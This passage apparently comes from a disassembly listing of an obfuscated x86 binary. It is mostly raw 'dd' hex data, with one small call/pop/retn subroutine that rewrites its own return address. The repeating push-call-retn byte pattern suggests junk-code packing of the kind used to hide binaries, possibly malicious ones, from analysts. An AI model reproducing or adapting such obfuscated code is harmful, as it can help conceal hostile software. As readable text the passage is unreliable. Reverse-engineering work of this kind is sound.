		dd 0B5FF7C4Fh, 5D48313h, 14D58D89h, 9E905D1h, 0B4000000h
		dd 0F844DC25h, 6D35F156h, 31F595FFh, 820F05D1h,	6, 261D9D0Bh
		dd 0BF0F05D1h, 665096FEh, 0F96FE8Bh, 1686h, 11E900h, 9B980000h
		dd 1303A81Eh, 5DDB8526h, 3953C55Fh, 0FF165A41h,	0D48313B5h
		dd 0D8B70F05h, 2D595FFh, 0DA8A05D1h, 1F7DBD83h,	0F0005D1h
		dd 6284h, 50006A00h, 3E8h, 0C3582000h, 24448958h, 24448104h
		dd 1404h, 0C3504000h, 0DA816005h, 72C11978h, 0EDBD8B61h
		dd 9605D130h, 5B2DB356h, 68D0F50h, 57000000h, 70A6BF66h
		dd 6A965Bh, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1A0424h
		dd 57470000h, 0E0FF2C3h, 0B8F71D32h, 0FFDABF0Fh, 0D48313B5h
		dd 50006A05h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1D04h
		dd 0C3504000h, 0B91FB86h, 54BB6279h, 95299877h,	5D10875h
		dd 135995FFh, 0DB8105D1h, 0CC5B0DAh, 0EE9h, 0C6B1B00h
		dd 5B59703h, 0A68B4967h, 0FF8452F3h, 0D48313B5h, 9E905h
		dd 0D2350000h, 0CE661514h, 0FF40B4B1h, 0D11D3995h, 0FABF0F05h
		dd 70DBD83h, 0F0205D1h,	3084h, 54F38100h, 8B69E84Eh, 0D117A585h
		dd 34BF6605h, 12E96Eh, 6D7E0000h, 0E9819FCAh, 0EBC7E413h
		dd 724BED4Eh, 21AE6ABFh, 230000C6h, 0D11E59BDh,	5585C705h
		dd 5D11Fh, 66000000h, 0E9F5FA8Bh, 0FFFFF3D6h, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 19h, 50C35747h, 94561504h
		dd 82BB669Bh, 0F5C18BDEh, 68D858Dh, 6A05D1h, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 1A0424h, 51410000h, 854224C3h
		dd 0D8033FFFh, 9E9h, 1A1B3200h,	81A04771h, 0BE9D364h, 38000000h
		dd 3D2C08FFh, 0A296E20Dh, 0BB50BC2Ah, 82FF6EAh,	6A240489h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 1B042444h
		dd 47000000h, 0B59CC357h, 6CE8597Ch, 0F7818805h, 7374A418h
		dd 6AFAB70Fh, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1604h, 0C3524200h, 0FEF7815h, 0F88BD8BFh, 6A006Ah, 3E856h
		dd 5E200000h, 74895EC3h, 44810424h, 1B0424h, 56460000h
		dd 454A89C3h, 62CDB2Eh,	0F58D895Ch, 2905D10Ah, 0D1227DBDh
		dd 0EF858D05h, 6005D5DDh, 0B76AB2BAh, 61CA8B16h, 6A05C083h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 1C042444h
		dd 41000000h, 0F927C351h, 0A9FD0FB7h, 8BE07DEEh, 0F98B50DEh
		dd 6A240489h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 17042444h, 45000000h, 3B3EC355h, 0B5295753h,	5D10E59h
		dd 0FE8006Ah, 8C000000h, 363211B2h, 0B4A1645Fh,	0F21C370h
		dd 6A5FECC7h, 0DB805600h, 95FF5FBDh, 5D11B39h, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 14h, 36C35040h, 81CF8D8Dh
		dd 852905D4h, 5D11E4Dh,	83F9D1FFh, 0D120E9BDh, 850F0105h
		dd 9Fh,	26AFB8Bh, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
		dd 1Ah,	0DFC35646h, 18204A22h, 9D8B65EDh, 5D1093Dh, 10E8h
		dd 36E8B300h, 9A0FDEB5h, 27739F6Ch, 0D4DFC88Eh,	0B5BD09F5h
		dd 5B05D132h, 0FEBF6690h, 0BB66502Eh, 6A90FB9Bh, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 1C042444h, 41000000h
		dd 0CBC351h, 757DF527h,	0FF25FBEAh, 0D131F595h,	57006A05h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1A04h, 0C3574700h
		dd 88356A34h, 0E9DA70B5h, 0D47h, 0E8h, 0ED815D00h, 5D5DDF9h
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 16h, 51C35040h
		dd 0BA60F879h, 6A1CDD39h, 11559D8Bh, 0E96105D1h, 12h, 62F880ADh
		dd 29CA1F04h, 37F6546Ch, 0EC3325B5h, 95290B70h,	5D12AE1h
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 17h, 77C35040h
		dd 66AE1C61h, 8DD549BBh, 0D472B185h, 25E9BF05h,	66500784h
		dd 89523CBFh, 6A2404h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 1B0424h, 55450000h, 41C2D2C3h, 182DEF8Dh, 35FF6430h
		dd 0
		dd 5FFA8B57h, 258964h, 0F000000h, 68Ah,	6DBD0300h, 0E905D124h
		dd 14h,	0B7F46D58h, 0E36291A0h,	7E2DCD24h, 819FCA6Dh, 0C7E413E9h
		dd 271985FFh, 0FB8B05D1h, 870FFF6Ah, 1,	0D9B5FFF5h, 6A05D106h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 1D042444h
		dd 41000000h, 534FC351h, 39ED646Bh, 444B1FCBh, 0EE99D0Bh
		dd 95FF05D1h, 5D11279h,	119E9h,	0CF816600h, 0B0F957h, 0BD0370E6h
		dd 5D11DADh, 24BB71E4h,	3C7799E0h, 0FB830F61h, 0F000000h
		dd 383h, 0D88B6600h, 89C8B60Fh,	0D113F19Dh, 6BA05h, 0BD090000h
		dd 5D110E9h, 12E9C18Bh,	6E000000h, 5DF2C82Bh, 0F0661F10h
		dd 0CEF181D7h, 793B4C0Ah, 4E8C1B2h, 1B159D33h, 0B58905D1h
		dd 5D11CFDh, 60E2F766h,	1BD99D89h, 8D8905D1h, 5D12FF5h
		dd 66C82B61h, 0C323C381h, 820FD18Bh, 6,	32D1BD03h, 8BE905D1h
		dd 8B000000h, 0D111999Dh, 49858B05h, 0E944004Eh, 0Bh, 2B2BBFB9h
		dd 792C8457h, 838F978Dh, 13E907C0h, 0E000000h, 0CB756473h
		dd 45A1B72Bh, 404A42B3h, 16E5B4D4h, 0C083987Dh,	0FD03B00h
		dd 1983h, 358D8900h, 0E905D117h, 3Eh, 0D19D8960h, 8905D130h
		dd 0D10EB585h, 8D8B6105h, 0FFFFFFFFh, 1E183F9h,	20840Fh
		dd 8C0F0000h, 3, 831CDF80h, 0FFFFFFA5h,	0CB80FEFFh, 9589F54Fh
		dd 44004E49h, 0E9F5h, 0B58D0000h, 5D55E84h, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 1Bh, 36C35646h, 25C8C40Ah
		dd 0E98C30A8h, 0Ch, 71889126h, 8EF74345h, 6AE6DB18h, 0BB66006Ah
		dd 95FFDB67h, 5D12459h,	0E857006Ah, 3, 5FC35F20h, 4247C89h
		dd 4244481h, 18h, 0D8C35747h, 6464746Dh, 1DD99D89h, 6B905D1h
		dd 83000010h, 6AFCE1h, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 140424h, 50400000h, 29FCCFC3h, 0D10B919Dh, 0B805h, 6A0000h
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1C0424h, 57470000h
		dd 0C01BF0C3h, 0F0268481h, 2BFCCB17h, 0C233ADD2h, 0D003E8D1h
		dd 7504E983h, 0F38166F4h, 6A0C58h, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 160424h, 50400000h, 0A6C77C3h, 0DF88B66h
		dd 88h,	0CF1BD8Bh, 0B70F05D1h, 21958BD8h, 6A05D110h, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 1C042444h, 46000000h
		dd 7E7DC356h, 35D6573Dh, 8B862BACh, 5E9FAh, 31AF0000h
		dd 8973AA7Ah, 0D10B1DB5h, 98D8B05h, 0F805D11Ch,	8BC28B50h
		dd 8BC10318h, 0D1C18B18h, 8BC203E8h, 6A5818h, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 150424h, 55450000h, 6AD37DC3h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 14042444h
		dd 41000000h, 0E95AC351h, 5, 1542944Fh,	0C0D38004h, 49BD83h
		dd 0F0005D1h, 7D84h, 0DBBF0F00h, 0B14BE781h, 0B87ACCh
		dd 6A000000h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 16042444h, 46000000h, 8F4BC356h, 6E97Eh, 0C0470000h
		dd 46A6A4FDh, 4CBD8D8Dh, 6A05D1h, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 170424h, 52420000h, 903F96C3h, 0FDC78070h
		dd 6AE1FFh, 3E851h, 59200000h, 4C8959C3h, 44810424h, 140424h
		dd 51410000h, 0BD8399C3h, 5D10679h, 2B840F00h, 6A000004h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 1D042444h
		dd 47000000h, 4013C357h, 4266007h, 0FFEA5113h, 58C0Fh
		dd 81660000h, 83B87AF7h, 0D10679BDh, 840F0105h,	409h, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 18h, 0DFC35343h, 12969294h
		dd 0BD83FE8Bh, 5D10679h, 0A4860F03h, 66000003h,	82CFDF81h
		dd 0D9B70F60h, 80D98C66h, 90BB04E1h, 0A28CD8Eh,	0D5840FC9h
		dd 6A000001h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 17042444h, 41000000h, 58A9C351h, 12E99147h, 31000000h
		dd 5882568h, 0A9B11D9Ch, 0E1BB654Ah, 7B77AD4Ah,	31858B42h
		dd 6A05D117h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 15042444h, 43000000h, 8803C353h, 14E9h, 34EDA100h, 1A5D0C4Dh
		dd 865A5123h, 3E06EE10h, 8C90AB18h, 0D8C78140h,	330028CFh
		dd 0D10E7185h, 52006A05h, 3E8h,	0C35A2000h, 2454895Ah
		dd 24448104h, 1704h, 0C3524200h, 2942A032h, 17818D89h
		dd 8B6605D1h, 8B6690F9h, 505150DFh, 13E952h, 85890000h
		dd 472AEFF4h, 0EDAF0D3h, 46B9BFD7h, 169385AEh, 0E9310FC3h
		dd 0Ch,	0D978B68h, 0CB020B44h, 7FBFCCEh, 905F585Ah, 1B8B0Fh
		dd 0E9600000h, 14h, 2E0F126Ch, 48B9D9BDh, 0EEFB0571h, 878BF83Fh
		dd 67CE04B3h, 8B006A61h, 0D119F59Dh, 0C7126805h, 8B66A8EAh
		dd 240481DFh, 57343CEDh, 0F5D9529h, 0BD8905D1h,	5D10051h
		dd 111D95FFh, 0BF0F05D1h, 138589F8h, 6A05D483h,	3E85000h
		dd 20000000h, 8958C358h, 81042444h, 14042444h, 40000000h
		dd 0FABC350h, 1688h, 11E900h, 0D3AE0000h, 0EF497369h, 0B06A41E9h
		dd 1A435200h, 8131F989h, 0E3A50FCBh, 178E92Eh, 6A0000h
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1D0424h, 51410000h
		dd 0AF0324C3h, 0E0A3CDEAh, 0E90358B5h, 14h, 0B3980475h
		dd 1BD07FA7h, 6CEBBDE0h, 90C9FB1Eh, 665E581Ah, 10E8h, 937CE700h
		dd 9C6A85BFh, 2466DB98h, 0C07CC6A6h, 9E9D8h, 20260000h
		dd 22AB32E4h, 5F0FC85Eh, 830B858Bh, 816605D4h, 0C74195EFh
		dd 1800h, 6860F00h, 8B000000h, 0D12D759Dh, 0FB58B05h, 5205D483h
		dd 0E9C5BB66h, 0A9858B5Bh, 8B05D122h, 810689D8h, 967E94CFh
		dd 31858B63h, 2905D117h, 0D13069BDh, 4468905h, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 1Ah, 8AC35040h, 9253685Fh
		dd 6650518Bh, 89CC40BFh, 0CE92434h, 40000000h, 0B4D8C74Bh
		dd 0C1D73059h, 0FF2AE219h, 0D4830BB5h, 9DBD0B05h, 6805D11Eh
		dd 19BE6414h, 14E860h, 0DA2C0000h, 8E4B79C2h, 0D486A664h
		dd 0F303C862h, 4F334E99h, 5250CBB1h, 585A310Fh,	0AAB8665Eh
		dd 34816175h, 0A167EB24h, 0CFCB8119h, 8D1BE847h, 0D4831385h
		dd 52006A05h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1C04h
		dd 0C3524200h, 0B6722024h, 0C95D75AEh, 6E9F2h, 0D3620000h
		dd 0B3FAB37Dh, 73BB6650h, 24048983h, 459D8Bh, 95FF05D1h
		dd 5D1111Dh, 1C0D9D0Bh,	6A6105D1h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 19042444h, 41000000h, 6706C351h
		dd 0A26EEF0h, 28C0F50h,	60000000h, 85C75B61h, 5D10679h
		dd 3, 0E851006Ah, 3, 59C35920h,	4244C89h, 4244481h, 16h
		dd 0D0C35141h, 0FC8AABCCh, 8258D89h, 0BD8305D1h, 5D48313h
		dd 34840F00h, 6A000000h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 19042444h, 41000000h, 56CDC351h, 436693Ch
		dd 4D3515BBh, 24E947h, 0BF0F0000h, 5BD8BFBh, 5005D131h
		dd 110C30h, 0C1011144h,	443010E8h, 4C000211h, 83580311h
		dd 0E77504E9h, 305036EBh, 64001104h, 0E8C10111h
		dd 11443010h, 11640002h, 0E9835803h, 0EBE77504h, 0E8C1501Bh
		dd 11642810h, 11443003h, 64285802h, 4300111h, 4E98311h
		dd 0EBE775h, 6AC08Bh, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 160424h, 56460000h, 0F62C5C3h, 0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 19h, 60C35747h, 0C3F688E0h, 79BD830Fh
		dd 305D106h, 3D8850Fh, 95290000h, 5D121A1h, 8313BD83h
		dd 0F0005D4h, 3C584h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah
		dd 24448104h, 1904h, 0C3524200h, 8F6331D6h, 0B5FF3386h
		dd 5D48313h, 0D2CF8166h, 0FD95FFE2h, 6A05D102h,	3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 1B042444h, 43000000h
		dd 0CC3C353h, 4656F7FBh, 0B70FC87Dh, 0B58BF9FBh, 5D48307h
		dd 12258D89h, 8C0F05D1h, 14h, 0DE952h, 5CAC0000h, 0FBD09F93h
		dd 68A0988Bh, 5BD00CCAh, 106C7h, 6A0001h, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 1B0424h, 56460000h, 0CD561CC3h
		dd 0B131F4D7h, 8B6096B5h, 0E85061C8h, 0Ah, 7EB3A19Dh, 6F55F49Bh
		dd 11E95014h, 50000000h, 62DFA61Fh, 99169F1h, 499ADA14h
		dd 0CFB63500h, 8B66965Fh, 0FEBF0FDFh, 8313B5FFh, 950105D4h
		dd 5D11B21h, 68195FFh, 958905D1h, 5D11431h, 8307B58Bh
		dd 6A05D4h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 190424h
		dd 57470000h, 879237C3h, 8B9A6890h, 0D1179185h,	57006A05h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1C04h, 0C3574700h
		dd 83BF21D3h, 940A6609h, 1D9D0B5Fh, 8905D10Dh, 0C486h
		dd 50006A00h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1704h
		dd 0C3504000h, 0CB27A6F7h, 0EE9h, 2536D800h, 21A966F6h
		dd 0A525EFB5h, 8B7B8D15h, 0D1102195h, 53006A05h, 3E8h
		dd 0C35B2000h, 245C895Bh, 24448104h, 1A04h, 0C3534300h
		dd 929F8522h, 8389D57Fh, 8D0904C2h, 5D11E31h, 2B319D8Bh
		dd 508905D1h, 57006A20h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1804h, 0C3574700h, 1A0EA74Ch, 459589F6h, 8D05D127h
		dd 0D4963185h, 8689F805h, 0B8h,	901B509h, 6A05D1h, 0FC1BD8Bh
		dd 0B5FF05D1h, 5D48313h, 0E855006Ah, 3,	5DC35D20h, 4246C89h
		dd 4244481h, 18h, 6EC35545h, 0EEC6F854h, 0D518D31h, 95FF05D1h
		dd 5D131F5h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
		dd 14h,	0E6C35242h, 96FAB70Fh, 0D2B25CBBh, 0FE8B5033h
		dd 10E996h, 28890000h, 9EEFDF2h, 10C0843Bh, 0C40807D8h
		dd 0B5FFB4D6h, 5D48313h, 0E857006Ah, 3,	5FC35F20h, 4247C89h
		dd 4244481h, 15h, 0C0C35747h, 0BA666095h, 0BD8BBDB5h, 5D10AB5h
		dd 0D595FF61h, 6A05D102h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 1A042444h, 46000000h, 0F672C356h,	98DCB955h
		dd 6870F1Bh, 81000000h,	7ECAC4CBh, 7DBD8300h, 5D11Fh, 17840Fh
		dd 0B5890000h, 5D1264Dh, 27E99D8Bh, 665005D1h, 89AAF2BBh
		dd 8B662434h, 13B5FFF8h, 6A05D483h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 15042444h, 41000000h, 0A0F6C351h
		dd 0F119D8Bh, 95FF05D1h, 5D11359h, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 1Ah, 99C35040h, 0F0F00915h, 0B5FF8FF1h
		dd 5D48313h, 81FA8B66h,	244723F7h, 3995FF6Fh, 0F505D11Dh
		dd 70DBD83h, 0F0205D1h,	5184h, 0A5858B00h, 6A05D117h, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 1A042444h, 45000000h
		dd 0B90DC355h, 3CF005E4h, 0ABF6663h, 0C61Ah, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 14h, 37C35747h, 25B19589h
		dd 85C705D1h, 5D11F55h,	0
		dd 0E1E9FE8Ah, 0FFFFFF3h, 87h, 6AC18B00h, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 18042444h, 47000000h, 5E39C357h
		dd 0E9B5F995h, 0Fh, 4787CF3Bh, 0DA006866h, 2C25843Eh, 8DF23F28h
		dd 0D1068D85h, 94F38005h, 8926B350h, 6AF92404h,	50006A00h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1D04h, 0C3504000h
		dd 29FA616Dh, 49E44D7Ch, 1B741FAh, 6A006Ah, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 1D0424h, 52420000h, 7555DAC3h
		dd 0E7CD6652h, 8DCB314Eh, 0D5ED5885h, 5DBD8B05h, 8305D124h
		dd 830F05C0h, 0Ch, 6840Fh, 0E7810000h, 1CBD252h, 9DBB6650h
		dd 240489ADh, 0E852006Ah, 3, 5AC35A20h,	4245489h, 4244481h
		dd 14h,	0F1C35242h, 6820Fh, 0BD8B0000h,	5D11465h, 6E9h
		dd 295B100h, 6A6094E5h,	51006A00h, 3E8h, 0C3592000h, 244C8959h
		dd 24448104h, 1C04h, 0C3514100h, 0AB0AD733h, 1212A11Ah
		dd 159D3165h, 6A05D122h, 51006A00h, 3E8h, 0C3592000h, 244C8959h
		dd 24448104h, 1B04h, 0C3514100h, 0D1E88423h, 2CCE7B83h
		dd 5CBF6657h, 95FF5BEAh, 5D11B39h, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 19h, 9DC35343h, 1113C433h, 0F98B66C1h
		dd 81CF8D8Dh, 0BD8B05D4h, 5D12429h, 0CB81D1FFh,	0FC4B4Ch
		dd 20E9BD83h, 0F0105D1h, 0BF85h, 55006A00h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1A04h,	0C3554500h, 42C8198h, 667192B1h
		dd 6A7C16BFh, 56006A02h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
		dd 1B04h, 0C3564600h, 3029C6CDh, 0D0391007h, 0D2A6BF66h
		dd 14E850h, 71450000h, 1FB86418h, 9AEBA35Eh, 5EF35210h
		dd 0DB1D2E2Fh, 0F88B61B5h, 2404895Fh, 0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 1Ch, 5DC35747h, 680D93EAh, 0ED217F1h
		dd 7319CB81h, 95FF0560h, 5D131F5h, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 17h, 7DC35646h, 0F8E89F1Bh, 0CAFE9h
		dd 0E800h, 815D0000h, 0D5ED62EDh, 56006A05h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1904h,	0C3564600h, 8D4D4734h
		dd 0BE97223h, 0C1000000h, 88C8B1BAh, 8F6917AEh,	858DA5ACh
		dd 5D472B1h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
		dd 15h,	2CC35040h, 2D852932h, 8105D108h, 812BF0F7h, 0FDBD8B5Eh
		dd 9005D106h, 6E95250h,	89000000h, 0B471A916h, 0B3310F80h
		dd 50585A99h, 190DF8Bh,	0D1200195h, 35FF6405h, 0
; ---------------------------------------------------------------------------
		push	0
		push	ebx
		call	sub_5B8C27
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5B8C27	proc near		; CODE XREF: ud2_____:005B8C1Fp

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 1Ch
		inc	ebx
		push	ebx
		retn
sub_5B8C27	endp

; ---------------------------------------------------------------------------
		db 34h
		dd 7644A220h, 30AB7891h, 2FF5B589h, 896405D1h, 25h, 51006A00h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1904h, 0C3514100h
		dd 3518A3Ch, 0AE86F0Ah,	41000000h, 20918EAEh, 0DAA1459h
		dd 818D8999h, 5F05D124h, 271985FFh, 0B52905D1h,	5D11979h
		dd 8960FF6Ah, 0D12659B5h, 0B5FF6105h, 5D109E5h,	95FFFA8Bh
		dd 5D11279h, 128E9h, 399D0900h,	0B005D10Ch, 1D9D8B00h
		dd 0E605D127h, 19BD8B70h, 0E405D110h, 3C90B771h, 6830F61h
		dd 0F000001h, 680h, 7D8D0100h, 0F05D100h, 8960C8B6h, 0D11FD585h
		dd 6840F05h, 8B000000h,	0D12DBD95h, 6BA6105h, 89000000h
		dd 0D109B585h, 0E8C18B05h, 12h,	26B7CA75h, 49099CB1h, 0AC047915h
		dd 49B13DC8h, 8D295B6Dh, 5D10FE9h, 9CD3815Fh, 0C15164A9h
		dd 0FC8A04E8h, 0E9E2F766h, 6, 0FB26D115h, 0C82B7671h, 0B26C8BBh
		dd 8BD18B71h, 0D117ED9Dh, 8BE905h, 89600000h, 0D11DE19Dh
		dd 858B6105h, 505F4C4Ch, 83DABF0Fh, 83F507C0h, 0BF0F00C0h
		dd 0FD03BFEh, 2383h, 12E800h, 581D0000h, 3C5D26DBh, 6C53225Eh
		dd 46DF6AC6h, 2BA31E64h, 4BE95Fh, 0BD8B0000h, 5D11085h
		dd 0FFFF8D8Bh, 0D781FFFFh, 2618618Dh, 0F01E183h, 3084h
		dd 0DE900h, 79E60000h, 0A2C674F7h, 0D0FD14BAh, 831FB789h
		dd 0FFFFFFA5h, 0BD01FEFFh, 5D11195h, 4C4C9589h,	0BD01505Fh
		dd 5D131F1h, 0E9h, 8AB58D00h, 8905D56Eh, 0D1096185h, 0BB006A05h
		dd 7F645DF5h, 245995FFh, 6A05D1h, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 160424h, 55450000h, 0DEFE4EC3h, 0D2DBD29h
		dd 0DF8105D1h, 74446175h, 0F41B9h, 0F606000h, 8Ch, 0D1958900h
		dd 6105D10Fh, 14919D31h, 836105D1h, 6AFCE1h, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 190424h, 51410000h, 40349AC3h
		dd 8058671Eh, 6AFCCFD7h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 1C042444h, 40000000h, 0FD13C350h,	270D2085h
		dd 8B59C8B8h, 0D12D559Dh, 6AC02B05h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 1D042444h, 42000000h, 0C7BFC352h
		dd 99A46EDCh, 0E58CA359h, 0BAh,	57006A00h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1804h,	0C3574700h, 681A80FFh
		dd 0BFBF6644h, 0C233AD3Bh, 0D003E8D1h, 7504E983h, 0DA8B66F4h
		dd 0FE9h, 530D1400h, 6E8409A1h,	5B9030BCh, 9156D889h, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Ch, 0FAC35545h, 0B01AF848h
		dd 6ED4A2D0h, 22E99529h, 9E805D1h, 0D7000000h, 9BA46055h
		dd 33E8C68Ah, 21C99D8Bh, 0D5F05D1h, 88h, 0E856006Ah, 3
		dd 5EC35E20h, 4247489h,	4244481h, 15h, 65C35646h, 659D8BB4h
		dd 8B05D102h, 0D1102195h, 53006A05h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1B04h,	0C3534300h, 7F799EDCh
		dd 0FFED7AF2h, 1C098D8Bh, 6A05D1h, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 1D0424h, 53430000h, 929501C3h, 0BD299D2Dh
		dd 97D573Ah, 0D10C419Dh, 8ADB8105h, 502C4898h, 188BC28Bh
		dd 188BC103h, 0E8D1C18Bh, 188BC203h, 52006A58h,	3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1804h,	0C3524200h, 879B3FC7h
		dd 0E1B58903h, 2905D108h, 0D10D4D95h, 83DE8A05h, 0D10049BDh
		dd 840F0005h, 6Fh, 103EF381h, 0B8058Bh,	6A000000h, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 1A042444h, 46000000h
		dd 3E30C356h, 7B8F0E82h, 0BD8D8D7Ah, 8A05D14Ch,	6AE1FFFCh
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 19042444h
		dd 41000000h, 0B51AC351h, 0CEAE810Ah, 3DC3BB60h, 81664C9Eh
		dd 61230BC1h, 6E9h, 0FA6E9A00h,	834A6820h, 0D10679BDh
		dd 840F0005h, 365h, 0E853006Ah,	3, 5BC35B20h, 4245C89h
		dd 4244481h, 1Ah, 0AAC35343h, 0F83E6605h, 860F1D80h, 3
		dd 83D9B70Fh, 0D10679BDh, 840F0105h, 348h, 825B501h, 0BD8305D1h
		dd 5D10679h, 0FF860F03h, 8B000002h, 0D108559Dh,	0AE905h
		dd 1F3A0000h, 921951E0h, 0D90E8429h, 95895260h,	5D12701h
		dd 0D98C665Fh, 0E820Fh,	8B600000h, 0D11739BDh, 2D9D8905h
		dd 6105D108h, 6A04E180h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 1A042444h, 40000000h, 9DE6C350h, 1CADE154h
		dd 68B0FFAh, 89000000h,	0D112819Dh, 0FC90A05h, 0C684h
		dd 53006A00h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1704h
		dd 0C3534300h, 0EF55745Ch, 14E8h, 93C3DA00h, 1C7A9B34h
		dd 5A914859h, 9C1D8946h, 0E8597CB5h, 8FD7816Ch,	5F080364h
		dd 1731858Bh, 816605D1h, 336616CBh, 0D10E7185h,	90DF8B05h
		dd 90D88B50h, 26E59D89h, 6A05D1h, 46D14568h, 99BB66FFh
		dd 240481EBh, 0D832BAh,	961B509h, 95FF05D1h, 5D1111Dh
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Ch, 99C35343h
		dd 832E3D3Fh, 5CE8292Eh, 0D5853160h, 5605D131h,	1F1DB58Bh
		dd 615805D1h, 83138589h, 9D8B05D4h, 5D11E1Dh, 172E9h, 1DBD8B00h
		dd 8B05D119h, 0D4830B85h, 1800C705h, 6A000000h,	3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 1B042444h, 45000000h
		dd 0E28C355h, 666E8EF5h, 8B664891h, 0DFB70FDFh,	830FB58Bh
		dd 6A05D4h, 3E850h, 58200000h, 448958C3h, 44810424h, 140424h
		dd 50400000h, 858BACC3h, 5D122A9h, 89D9BF0Fh, 858BFC06h
		dd 5D11731h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
		dd 17h,	3AC35343h, 8BD2514Bh, 0D106BDBDh, 4468905h, 5096DF8Bh
		dd 56006A96h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1B04h
		dd 0C3564600h, 0FC4E98B9h, 2362517Bh, 0AD1BD89h, 8D0F05D1h
		dd 5, 5FEB8166h, 0BB5FF6Ah, 6A05D483h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 18042444h, 46000000h, 296C356h
		dd 29482528h, 0D11D4595h, 6CBF6605h, 0C0F46802h, 0CE8E1CAh
		dd 0B1000000h, 293870C3h, 0B920B102h, 50A116F1h, 9355BB66h
		dd 4815F5Bh, 54430B24h,	459D8B1Eh, 8D05D100h, 0D4831385h
		dd 5090F505h, 8B605250h, 0D68B66DAh, 5A310F61h,	6A9058h
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 170424h, 56460000h
		dd 0B89FABC3h, 0C9BD8990h, 0FF05D118h, 0D1111D95h, 0ED9D8B05h
		dd 6105D124h, 67D9BB66h, 67985C7h, 305D1h, 10E90000h, 96000000h
		dd 8DBFCB99h, 3139E38Dh, 0B27665Ch, 0F6F2A47h, 0BD83FEB7h
		dd 5D48313h, 2B840F00h,	0E9000000h, 41h, 0E852006Ah, 3
		dd 5AC35A20h, 4245489h,	4244481h, 16h, 0E8C35242h, 0DE8B5D31h
